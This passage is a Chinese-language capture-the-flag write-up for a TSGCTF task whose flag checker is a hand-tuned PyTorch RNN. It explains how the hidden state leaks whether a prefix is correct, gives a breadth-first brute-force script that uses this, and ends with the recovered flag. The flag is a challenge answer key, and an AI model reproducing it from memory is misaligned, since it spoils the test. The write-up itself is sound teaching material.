    global FLAG_CHARS
    assert text[:7] == "TSGCTF{"
    assert text[-1:] == "}"
    assert all([t in FLAG_CHARS for t in text])

def embedding(text):
    global CHARS
    x = torch.zeros((len(text), len(CHARS)))
    for i, t in enumerate(text):
        x[i, CHARS.index(t)] = 1.0
    return x

class Model(nn.Module):
    def __init__(self, inpt, hidden):
        super().__init__()
        self.cell = nn.RNNCell(inpt, hidden)
        self.out = nn.Linear(hidden, 1)
    def forward(self, xs):
        h = None
        for x in xs:
            h = self.cell(x, h)
        return self.out(h)

def inference(model, text):
    model.eval()
    with torch.no_grad():
        x = embedding("^"+text+"$").unsqueeze(1)
        y = model(x)[0].sigmoid().cpu().item()
    return y

model = Model(len(CHARS), 520)
model.load_state_dict(torch.load("model_final.pth"))
text = input("input flag:")
sanity_check(text)
if inference(model, text) > 0.5:
    print("Congrats!")
else:
    print("Wrong.")

這題是個特殊的 flag checker，checker 本身是個 pytorch 的 model，它會把輸入 encode 到 embedding 之後丟入一個 RNN 的 model，最後輸出是壓平之後 sigmoid 出來的值只要超過 0.5 就是正確的。

原本我是試著用網路上的作法，train 一下去找 model 的極大值，不過測試了一下都不成功，發現說它似乎都只會固定輸出 sigmoid(-1) ~= 0.2689 的值而已，loss 不管怎麼樣也都不會降低。

檢查了一下 model.parameters() 發現它的值完全不像是一般的 model 一樣，反而數字都非常整齊，可以推論說這個參數大概是特地設計過的。之後經過一些試驗，我把 RNN 在壓平之前的輸出一個步驟一個步驟 print 出來，然後改變 input 做點觀察。最後發現如果到目前的字元都是正確的話，RNN 的 vector 起碼會有一個正數，如果有錯的話就會全部都是負的，所以可以利用這個性質去爆 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import string

import torch
from torch import nn

FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS


def sanity_check(text):
    global FLAG_CHARS
    assert text[:7] == "TSGCTF{"
    assert text[-1:] == "}"
    assert all([t in FLAG_CHARS for t in text])


def embedding(text):
    global CHARS
    x = torch.zeros((len(text), len(CHARS)))
    for i, t in enumerate(text):
        x[i, CHARS.index(t)] = 1.0
    return x


class Model(nn.Module):
    def __init__(self, inpt, hidden):
        super().__init__()
        self.cell = nn.RNNCell(inpt, hidden)
        self.out = nn.Linear(hidden, 1)

    def forward(self, xs):
        h = None
        for x in xs:
            h = self.cell(x, h)
        return self.out(h)


def inference(model, text):
    model.eval()
    with torch.no_grad():
        x = embedding("^" + text + "$").unsqueeze(1)
        y = model(x)[0].sigmoid().cpu().item()
    return y


model = Model(len(CHARS), 520)
model.load_state_dict(torch.load("model_final.pth"))

# text = input("input flag:")
# sanity_check(text)
# score = inference(model, text)
# print(score)
# if score > 0.5:
#     print("Congrats!")
# else:
#     print("Wrong.")

torch.set_printoptions(profile="full")

from collections import deque

# some checking
for f in ["^T", "^TS", "^TSG", "^TSGX", "^TSGC", "^TSGCTF{"]:
    xx = embedding(f).unsqueeze(1)
    h = None
    for x, y in zip(xx, f):
        h = model.cell(x, h)
    print(f, [i for i, x in enumerate(h.tolist()[0]) if x > 0])

# BFS
q = deque(["^TSGCTF{"])

while len(q) > 0:
    flag = q.popleft()
    print(flag)
    if (
        flag.endswith("}")
        and model(embedding(flag + "$").unsqueeze(1)).sigmoid().cpu().item() > 0.5
    ):
        print("FOUND", flag[1:])
        break
    for c in FLAG_CHARS:
        f = flag + c
        xx = embedding(f).unsqueeze(1)
        h = None
        for x, y in zip(xx, f):
            h = model.cell(x, h)
        if len([i for i, x in enumerate(h.tolist()[0]) if x > 0]) > 0 and f not in q:
            q.append(f)

# TSGCTF{mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN}